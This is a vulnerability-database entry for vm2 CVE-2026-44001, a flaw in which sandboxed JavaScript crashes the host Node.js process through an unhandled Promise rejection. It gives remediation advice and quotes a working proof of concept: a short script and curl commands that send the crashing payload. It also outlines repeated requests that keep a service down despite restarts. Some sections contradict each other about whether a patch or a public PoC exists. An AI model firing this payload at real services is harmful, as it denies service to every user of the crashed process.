Skip to main content

vm2 CVE-2026-44001

HIGH
Uncaught Exception (CWE-248)
2026-05-07 https://github.com/patriksimek/vm2 GHSA-hw58-p9xv-2mjh
8.6
CVSS 3.1 · Vendor: https://github.com/patriksimek/vm2
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Access public API endpoint
  2. Delivery
    Submit malicious Promise constructor code
  3. Exploit
    Trigger V8 Symbol.toString() in host realm
  4. Install
    Unhandled rejection crashes Node.js process
  5. C2
    Service unavailable for all users
  6. Execute
    Repeat POST requests to prevent restart recovery
  7. Impact
    Persistent denial of service

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A10:2025 - Mishandling of Exceptional Conditions
ASVS 5.0
V16 - Security Logging and Error Handling Exception handling completeness
Exploitation Conditions

No special conditions - remote unauthenticated exploitation against default configurations of vm2 versions <= 3.10.5 running on Node.js 15+ (which terminates processes on unhandled rejections by default). The vulnerability is triggered by executing any sandboxed code that creates a Promise constructor with the specific executor logic (Error object with Symbol name, then stack access). The CVSS vector AV:N/AC:L/PR:N/UI:N indicates network-accessible attack vector with low complexity, no required privileges, and no user interaction. The vulnerability affects ALL vm2 configurations including those using the allowAsync: false hardening option - in fact, allowAsync: false makes exploitation guaranteed because it blocks .catch() method calls while leaving the Promise constructor accessible, ensuring all executor rejections are unhandled. Limiting factors are minimal: attackers need only the ability to submit arbitrary JavaScript code to a vm2 execution endpoint, which is the core use case for applications using this library. The vulnerability works across all platforms (Linux, Windows, macOS) running Node.js >= 15, and also affects Node.js 14 and earlier if the application explicitly sets --unhandled-rejections=strict or uses frameworks that configure this behavior.

Impact

Real-world risk is HIGH despite moderate CVSS 8.6. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C) correctly indicates remote unauthenticated exploitation with low complexity and scope change (sandbox escape to host process). Publicly available exploit code exists in GitHub advisory GHSA-hw58-p9xv-2mjh with working PoC requiring only 3 lines of sandboxed code. The vulnerability affects ALL vm2 deployments <= 3.10.5 regardless of configuration - the allowAsync: false mitigation recommended for other sandbox escapes actively worsens this issue. Amplification ratio is extreme: a single 150-byte HTTP request terminates processes serving thousands of concurrent users. Testing confirms persistent DoS even with Docker restart policies, Kubernetes liveness probes, and PM2 auto-restart - attackers can re-crash the process before it recovers, creating continuous denial-of-service loops. Unlike many high-CVSS theoretical vulnerabilities, this has immediate operational impact on production web services, API gateways, serverless functions, and any Node.js application executing user-provided code via vm2. The scope change to 'C' (Changed) in CVSS is justified - the vulnerability breaks out of the sandbox isolation boundary to impact the host process. Primary risk is availability (process crash), but the broader implication is that vm2's core security promise (safe untrusted code execution) is broken. GitHub advisory context shows this is one of 13 sandbox escapes patched in v3.11.0, several achieving full RCE, indicating systemic architectural weaknesses in the library's isolation model.

Exploit ScenarioDerived

An attacker identifies a public-facing API endpoint at https://target.com/api/execute that accepts JSON payloads with user-provided JavaScript code for execution via vm2 (common in code playground platforms, webhook processors, or low-code automation tools). The attacker sends a single HTTP POST request with a 150-byte JSON payload containing the exploit code: {"code":"new Promise(function(r,j){var e=new Error();e.name=Symbol();e.stack})"}. The vm2 sandbox executes the code, creating a Promise whose executor triggers a V8 internal error when accessing the .stack property of an Error object with a Symbol name. This host-realm TypeError becomes an unhandled rejection that propagates outside the sandbox, crashing the entire Node.js process (confirmed by process exit code 1). All concurrent users - potentially thousands on a single web server - immediately lose service. The attacker can script repeated requests to crash the process again after each automatic restart (Docker, Kubernetes, PM2), creating a continuous denial-of-service loop with negligible cost (bandwidth for a few hundred bytes per minute) while legitimate users never regain access.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 07, 2026

Remote unauthenticated attackers can crash Node.js processes running vm2 <= 3.10.5 by triggering an unhandled Promise rejection that terminates the host application. The vulnerability exploits an incomplete fix for CVE-2026-22709 - while previous patches sanitized .then() and .catch() callback chains, they failed to intercept unhandled rejections originating from Promise constructor executors. Publicly available exploit code exists (GitHub advisory GHSA-hw58-p9xv-2mjh). The attack requires minimal resources (150-byte HTTP request) but achieves high impact by crashing entire server processes serving all concurrent users, with demonstrated persistent DoS despite container orchestration restart policies.

RemediationAI

Immediately upgrade to vm2 v3.11.0 or later, released as a coordinated security update addressing 13 critical vulnerabilities including this process-crash DoS (confirmed in release notes at https://github.com/patriksimek/vm2/releases/tag/v3.11.0). The v3.11.0 patch wraps Promise executor functions to intercept and sanitize unhandled rejections before they propagate to the host process. For systems unable to upgrade immediately, implement these compensating controls: (1) Add process-level unhandled rejection handlers (process.on('unhandledRejection', ...)) to catch and log errors without terminating - however this only prevents crashes, not the sandbox escape itself, and may mask other legitimate bugs in your application; (2) Deploy vm2 processes in isolated, automatically-restarted containers with aggressive health checks (< 5 second intervals) to minimize downtime windows, though testing confirms attackers can maintain persistent DoS through rapid re-exploitation; (3) Rate-limit and authenticate code execution endpoints to reduce attack surface, though this only slows exploitation against a fundamentally broken isolation boundary; (4) Consider migrating to alternative sandboxing solutions like isolated-vm (V8 isolates), WebAssembly sandboxes, or OS-level containers, as the GitHub advisory context reveals vm2 has systemic architectural weaknesses with 13 sandbox escapes patched in a single coordinated release. Note that the allowAsync: false configuration is NOT a mitigation and actively worsens this vulnerability. All workarounds are temporary - the only complete fix is upgrading to v3.11.0 or migrating away from vm2 for security-critical isolation requirements.

Affected Packages

npm vm2 fix: 3.11.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

vm2 is a Node.js sandbox library enabling safe execution of untrusted JavaScript code by isolating it from the host Node.js process. The vulnerability stems from CWE-248 (Uncaught Exception) in the Promise executor wrapping logic within lib/setup-sandbox.js. The localPromise wrapper (line 38) does not encapsulate executor functions in try-catch blocks, while the resetPromiseSpecies implementation (lines 165-230) only sanitizes rejection handlers in .then() and .catch() chains - not unhandled rejections originating from the executor itself. When sandboxed code creates a Promise whose executor sets Error.name to a Symbol and accesses .stack, V8's internal FormatStackTrace C++ code attempts Symbol.toString(), throwing a TypeError in the host realm. Since Node.js 15+ terminates processes on unhandled Promise rejections by default, this host-realm error propagates outside the sandbox and crashes the entire application. The allowAsync: false configuration setting paradoxically worsens the vulnerability - it blocks .catch() method calls while leaving the Promise constructor callable, guaranteeing all executor rejections remain unhandled.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/patriksimek/vm2) PRIMARY 8.6 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
Red Hat 8.6 HIGH

Primary rating from Vendor (https://github.com/patriksimek/vm2).

CVSS VectorVendor: https://github.com/patriksimek/vm2

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Summary

A sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path.

Details

When sandboxed code creates a Promise whose executor sets Error.name to a Symbol() and then accesses .stack, V8's internal FormatStackTrace (C++) attempts Symbol.toString(), which throws a host-realm TypeError. Because this error originates inside the Promise executor and no .catch() handler is attached, it becomes an unhandled rejection that propagates to the host process.

  • lib/setup-sandbox.js:38 - localPromise wraps the native Promise constructor but does not wrap the executor in try-catch.
  • lib/setup-sandbox.js:165-230 - resetPromiseSpecies and the .then()/.catch() overrides sanitize the onRejected callback chains, but do not intercept unhandled rejections originating from the executor itself.

The CVE-2026-22709 patch (v3.10.2) sanitized .then() and .catch() callback chains but left the executor-to-unhandledRejection path completely open.

Root Cause: Promise executor errors are not caught/sanitized before they can propagate as unhandled rejections to the host process, causing an immediate process crash.

allowAsync: false does not help: This setting only blocks async/await syntax and overrides .then()/.catch() to throw. The Promise constructor itself is still callable. Worse, because .catch() is blocked, any rejection from the executor is *guaranteed* to be unhandled - making allowAsync: false paradoxically more dangerous than true for this vulnerability.

PoC

Library-level PoC (Node.js script - primary):

javascript
const { VM } = require("vm2");

// Works with ANY allowAsync setting - both true and false
const vm = new VM({ timeout: 5000, allowAsync: false });

try {
  const result = vm.run(`
    new Promise(function(r, j) {
      var e = new Error();
      e.name = Symbol();
      e.stack;
    });
  `);
  console.log("Result:", result);   // Reaches here (returns Promise object)
} catch (err) {
  console.log("Caught:", err);       // Never executed
}

console.log("After try-catch");      // Also prints normally

// But on the next microtask tick:
// [UnhandledPromiseRejection: TypeError: Cannot convert a Symbol value to a string]
// Exit code: 1
//
// try-catch cannot help - vm.run() returns synchronously,
// the rejection fires asynchronously outside any catch scope.
//
// NOTE: allowAsync: false only blocks async/await syntax and
// .then()/.catch() method calls. The Promise constructor itself
// still executes, and the unhandled rejection still propagates.
// In fact, allowAsync: false makes it WORSE - .catch() is blocked,
// so the rejection is guaranteed to be unhandled.

HTTP demonstration (web service impact):

bash
# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
  -X POST -H "Content-Type: application/json" \
  -d '{"code":"\"alive\""}'
# => {"output":[],"errors":[],"result":"\"alive\"","executionTime":1}
# 2. Send payload - server process will crash
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"new Promise(function(r,j){var e=new Error();e.name=Symbol();e.stack})"}'
# 3. Server is dead (connection refused until restart)
curl -s http://localhost:3000/
# => connection refused

Impact

  • DoS: A single request crashes the entire host Node.js process. All concurrent users lose service immediately. In Node.js 15+, unhandled rejections terminate the process by default - no special configuration is required for the crash to occur.
  • Persistent DoS despite restart policies: Even when container orchestration (Docker restart policy, Kubernetes liveness probes, PM2, etc.) automatically restarts the crashed process, an attacker can send repeated requests to crash the process again before it fully recovers. In our testing, a single curl request caused the Docker container to restart (confirmed via StartedAt timestamp change), and sending the next request immediately after restart triggered another crash. This creates a continuous denial-of-service loop where the service never becomes available to legitimate users - each restart is met with another crash before any real request can be served.
  • Amplification: A single HTTP request (~150 bytes) terminates the entire host process serving all users. The cost to the attacker is negligible compared to the impact.
  • Scope: All applications using vm2, regardless of allowAsync setting. allowAsync: false only blocks async/await syntax and .then()/.catch() method calls - the Promise constructor itself still executes, and the unhandled rejection still propagates. In fact, allowAsync: false makes the vulnerability *worse* because .catch() is blocked, guaranteeing the rejection is always unhandled.

Executive ViewAI

Why It Matters

CVE-2026-44001 allows remote attackers to crash Node.js applications using vm2 library version 3.10.5 and earlier through a simple HTTP request, causing denial of service to all end users relying on affected processes. This vulnerability stems from incomplete Promise handling in the library and poses immediate risk to any organization deploying vm2 for sandboxed code execution, with no vendor patch currently available to remediate the issue.

Business Impact: High
Compensating Controls

Implement application-level compensating controls: (1) Deploy process supervision with automatic restart on crash (PM2, systemd, or container orchestration); (2) Enforce strict rate limiting and request throttling on code execution endpoints to increase attacker resource requirements; (3) Segment affected applications behind load balancers with per-IP request limits; (4) Monitor for elevated process restart rates as early DoS detection; (5) Consider disabling vm2 sandbox functionality entirely if not actively required. These controls reduce availability impact but do not prevent the underlying crash-migration or patching remains required for complete remediation. No vendor-released patch identified at time of analysis.

Threat Intelligence Overview

EPSS Score
0.0%
Top 88% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Affected Products (CPE)CVE.org

pkg:npm/vm2
CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy